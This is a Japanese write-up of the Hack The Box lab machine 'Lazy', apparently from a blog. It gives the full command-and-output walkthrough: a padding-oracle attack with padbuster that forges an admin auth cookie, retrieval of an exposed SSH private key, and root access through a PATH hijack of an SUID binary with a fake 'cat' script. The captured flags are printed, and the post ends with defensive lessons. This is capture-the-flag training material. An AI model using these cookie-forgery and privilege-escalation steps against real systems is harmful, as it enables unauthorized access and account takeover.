Hack The BoxのWriteup（Lazy）[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Lazy — 全実行コマンド・実行結果レポート

HackTheBox: Lazy — 全実行コマンド・実行結果レポート

Target: 10.129.58.248 (lazy.htb) OS: Ubuntu Web: Apache + PHP 5.5.9 (CompanyDev — login.php/register.php) 難易度: Medium ステータス: 完全攻略済み ✓
Nmap
22/80のみ
→
アカウント登録
auth cookie発行トリガー
→
Padding Oracle攻撃
padbuster -error指定
→
admin cookie偽造
user=admin暗号化
→
SSH秘密鍵リンク発見
管理者専用ページ
→
SSH (mitsos)
user.txt ✓
→
backup SUID PATHハイジャック
偽catスクリプト
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン & サイト確認

BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.58.248
nmap -sV -sC -p 22,80 10.129.58.248
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8
80/tcp open  http    Apache/2.4.7 (Ubuntu)
                     X-Powered-By: PHP/5.5.9-1ubuntu4.21

サイトタイトル: "CompanyDev"、ナビゲーションに Login / Register リンク
ℹ️
SSH 6.6.1p1 は古いバージョンのため、後のSSH鍵認証で -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa の明示指定が必要になる可能性が高い。
PHASE 2

auth Cookieの発行条件を特定する

トラブルシューティング: ページを訪れるだけではCookieが発行されない

BASH
curl -s -i http://10.129.58.248/login.php
curl -s -i http://10.129.58.248/register.php
curl -s -i http://10.129.58.248/
RESULT
HTTP/1.1 200 OK
（Set-Cookie ヘッダーは無し、3ページともに同様）
🚨
根本原因: Padding Oracle脆弱性を持つ auth Cookieは、 単純にページを閲覧しただけでは発行されない。本アプリでは アカウント登録(または既存アカウントでのログイン)に成功した時のみ、 302リダイレクトとともに Set-Cookie: auth=... が返る設計になっている。

register.php フォーム構造確認 & アカウント登録

BASH
curl -s http://10.129.58.248/register.php | grep "name="
# → username / password / password_again

curl -s -i -X POST \
  --data "username=pentester1&password=Test1234!&password_again=Test1234!" \
  "http://10.129.58.248/register.php"
RESULT
HTTP/1.1 302 Found
Set-Cookie: auth=BCoV96MzZ428GsMqFqcUhYGmSJWDmxSd
Location: /index.php
✅
解決。 使い捨てアカウントを登録することで、Padding Oracle攻撃の シード暗号文となる auth Cookieを確実に取得できる。 (Base64エンコードされた値、CBCモード・ブロックサイズ8)
PHASE 3

Padding Oracle攻撃によるCookie偽造

padbusterのインストール

BASH
apt-get install -y padbuster

トラブルシューティング: 対話プロンプトの自動応答が危険な暴走を招く

BASH
# 素朴な実行 (エラー文字列を指定しない場合)
padbuster "http://10.129.58.248/" "BCoV96MzZ428GsMqFqcUhYGmSJWDmxSd" 8 \
  -cookies "auth=BCoV96MzZ428GsMqFqcUhYGmSJWDmxSd" -encoding 0
RESULT
The following response signatures were returned:
-------------------------------------------------------
ID#	Freq	Status	Length	Location
-------------------------------------------------------
1	2	200	1133	N/A
2 **	254	200	15	N/A
-------------------------------------------------------
Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended :
🚨
ハマりどころ1: padbusterは応答シグネチャが複数あると対話的に 選択を求める。yes 1 | で自動応答すると推奨(**)されていない 方のIDを選んでしまい、以降の全バイト判定が偽陽性で「成功」扱いになり、 デコード結果が完全に破綻する(f7f8f9fafbfcfdfeのような 明らかに無意味な連番バイト列が出力される)。
BASH
# 推奨IDの "2" を選び直すと...
yes 2 | padbuster "http://10.129.58.248/" "BCoV96..." 8 -cookies "auth=BCoV96..." -encoding 0
RESULT
Deep recursion on subroutine "main::promptUser" at /usr/bin/padbuster line 845
（メモリ使用量が数GBまで急増、システムが不安定化）
🚨
ハマりどころ2(より深刻): 正しいIDを選んでも、通信が不安定な環境では バイト推測中に「一致する応答なし」という別種のプロンプトが追加で出る ことがある。yes 2のパイプはこの想定外のプロンプトにも無差別に “2”を送り続けてしまい、PerlのpromptUserサブルーチンが 深い再帰に陥ってメモリを暴走的に消費する (実測で数GB規模、システムメモリを圧迫)。危険なため直ちにプロセスを 強制終了する必要がある。

対策: エラー条件を明示指定して対話プロンプトを完全回避

BASH
# 不正な cookie 値を送り、実際のエラーレスポンス本文を直接確認する
curl -s --cookie "auth=AAAAAAAAAAAAAAAA" http://10.129.58.248/
RESULT
Invalid padding  (15バイトのプレーンテキスト)
BASH
# -error オプションで正確なエラー文字列を明示指定 → 対話プロンプト自体が発生しない
padbuster "http://10.129.58.248/" "BCoV96MzZ428GsMqFqcUhYGmSJWDmxSd" 8 \
  -cookies "auth=BCoV96MzZ428GsMqFqcUhYGmSJWDmxSd" -encoding 0 \
  -error "Invalid padding"
RESULT
*** Starting Block 1 of 2 ***
[+] Success: (30/256) [Byte 8]
[+] Success: (256/256) [Byte 7]
...
*** Starting Block 2 of 2 ***
...
** Finished ***
[+] Decrypted value (ASCII): user=pentester1
✅
解決。 明示的な-error指定により、応答シグネチャ選択の 対話プロンプト自体が発生しなくなり、確実かつ安全に動作する。復号結果 user=pentester1は登録したユーザー名と一致し、攻撃が正しく 機能していることが確認できる。回線が不安定なため接続タイムアウトの 自動リトライを挟みつつ、1ブロックあたり数分〜十数分を要した。

admin cookie の偽造(暗号化)

BASH
padbuster "http://10.129.58.248/" "BCoV96MzZ428GsMqFqcUhYGmSJWDmxSd" 8 \
  -cookies "auth=BCoV96MzZ428GsMqFqcUhYGmSJWDmxSd" -encoding 0 \
  -error "Invalid padding" -plaintext "user=admin"
RESULT
** Finished ***
[+] Encrypted value is: BAitGdYuupMjA3gl1aFoOwAAAAAAAAAA
ℹ️
Padding Oracleの原理上、平文 user=admin (パディング込みで16バイト = 2ブロック)を秘密鍵を一切知らずに任意の平文として暗号化できる。 認証情報を持たずに管理者としてなりすませてしまう。
PHASE 4

偽造Cookie利用 & user.txt

偽造Cookieで管理者ページにアクセス

BASH
curl -s -i -b "auth=BAitGdYuupMjA3gl1aFoOwAAAAAAAAAA" \
  "http://10.129.58.248/index.php"
RESULT
You are currently logged in as admin!

Tasos this is my ssh key, just in case, if you ever want to
login and check something out.
<a href="mysshkeywithnamemitsos">My Key</a>
✅
認証バイパス成功。 管理者(admin)専用ページに、 mitsos宛のSSH秘密鍵ダウンロードリンクが表示された。

SSH秘密鍵取得 & ログイン

BASH
curl -s -o mitsos_id_rsa "http://10.129.58.248/mysshkeywithnamemitsos"
chmod 600 mitsos_id_rsa

ssh -i mitsos_id_rsa -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa \
  mitsos@10.129.58.248 "cat ~/user.txt"
RESULT
608a49f6fc1f7dafbebb0c3e0221f7fc
user.txt — mitsos
608a49f6fc1f7dafbebb0c3e0221f7fc
ℹ️
古いSSH 6.6.1p1に対しては-o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsaを付けないと、最近のOpenSSH クライアントは鍵交換アルゴリズムの非互換で接続を拒否する。
PHASE 5

backup SUID の PATH ハイジャック → root.txt

SUIDバイナリの発見

BASH
mitsos@lazy:~$ ls -la ~/
mitsos@lazy:~$ strings ~/backup | grep -i "cat\|passwd\|shadow"
RESULT
-rwsrwsr-x 1 root root 7303 May  3  2017 backup
（strings出力より）cat /etc/shadow
🚨
backupはSUID root(かつSGID)のバイナリで、内部で フルパス無しのcatコマンドを呼んで /etc/shadowを読もうとしている。$PATHを操作すれば 任意のcatという名前の実行ファイルをroot権限で走らせられる (古典的なPATHハイジャック脆弱性)。

トラブルシューティング: cpは元ファイルの制限的パーミッションを引き継ぐ

BASH
# 最初に試した(不十分な)偽catスクリプト
cd ~
printf '#!/bin/sh\ncp /root/root.txt /home/mitsos/root.txt\n' > cat
chmod +x ./cat
export PATH=.:$PATH
./backup >/dev/null 2>&1
/bin/cat /home/mitsos/root.txt
RESULT
/bin/cat: /home/mitsos/root.txt: Permission denied
🚨
根本原因: /root/root.txtはroot専用read-only (-r--------)。cpコマンドはコピー先が新規作成の場合、 元ファイルの制限的パーミッションをそのまま引き継ぐ。 コピー自体はSUID経由のroot権限で成功しているのに、mitsosから コピー後のファイルを読めないという罠(Europa攻略時と同型の問題)。
BASH
# 対策: 偽catスクリプト自体にchmodも含める(スクリプト全体がroot権限で走るため)
cd ~
printf '#!/bin/sh\ncp /root/root.txt /home/mitsos/root.txt\nchmod 644 /home/mitsos/root.txt\n' > cat
chmod +x ./cat
export PATH=.:$PATH
./backup >/dev/null 2>&1
/bin/cat /home/mitsos/root.txt
ℹ️
偽catは本物のcatコマンドを呼ばずcpを使う点に注意 (catを使うと再帰的に自分自身を呼び出し無限ループする)。 最終読み出しの/bin/catもPATHハイジャック中の偽物を踏まないよう フルパス指定が必須。

root.txt 取得

RESULT
f0d51731a1527a2dc7e980f26b5d2309
root.txt — root
f0d51731a1527a2dc7e980f26b5d2309
✅
権限昇格成功。 chmod付きの偽catスクリプトにより root.txtのコピーがmitsosから読み取り可能になった。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — mitsos
608a49f6fc1f7dafbebb0c3e0221f7fc
root.txt — root
f0d51731a1527a2dc7e980f26b5d2309

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
CBC Padding Oracle auth Cookie (login.php/register.php) 認証情報の完全なバイパス Critical 秘密鍵を知らずに任意平文(user=admin)を暗号化でき、管理者になりすませる
SSH秘密鍵のWeb公開 管理者専用ページ内リンク SSH資格情報の漏洩 Medium 認証バイパス後にアクセスできる隠しリンクから秘密鍵を直接ダウンロード可能
SUIDバイナリのPATHハイジャック ~/backup (SUID root) 権限昇格 (root) Critical フルパス指定無しで呼び出される cat コマンドを、PATH操作により悪意あるスクリプトに差し替え

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap22/80開放、CompanyDevサイト確認
2Cookie発行register.php へのアカウント登録auth Cookie(シード暗号文)取得
3Padding Oraclepadbuster (-error明示指定)偽造admin Cookie作成
4認証バイパス偽造Cookieでの再アクセスuser.txt 取得(SSH鍵経由)
5権限昇格backup SUIDのPATHハイジャックroot.txt 取得

学んだ教訓 & 防御策

問題点防御策
CBC暗号文の完全性を検証せず、パディングエラーの有無で情報漏洩している 暗号化と併せてHMAC等でメッセージ認証を行い、パディングエラーと改ざん検知を区別可能な情報として返さない(定数時間処理・汎用エラーメッセージ)。認証済みAEAD暗号(AES-GCM等)への移行を推奨。
SSH秘密鍵をWebアプリの認証済みページから直接ダウンロード可能にしている 秘密鍵をWeb公開領域に置かない。鍵配布には専用のシークレット管理システムを使う。
SUIDバイナリが外部コマンドをフルパス指定無しで呼び出している system()/exec()呼び出しでは必ずフルパスを指定する。可能であればSUIDビット自体を見直し、必要最小限の権限で動作するよう設計する。
HackTheBox: Lazy | 完全攻略レポート

広告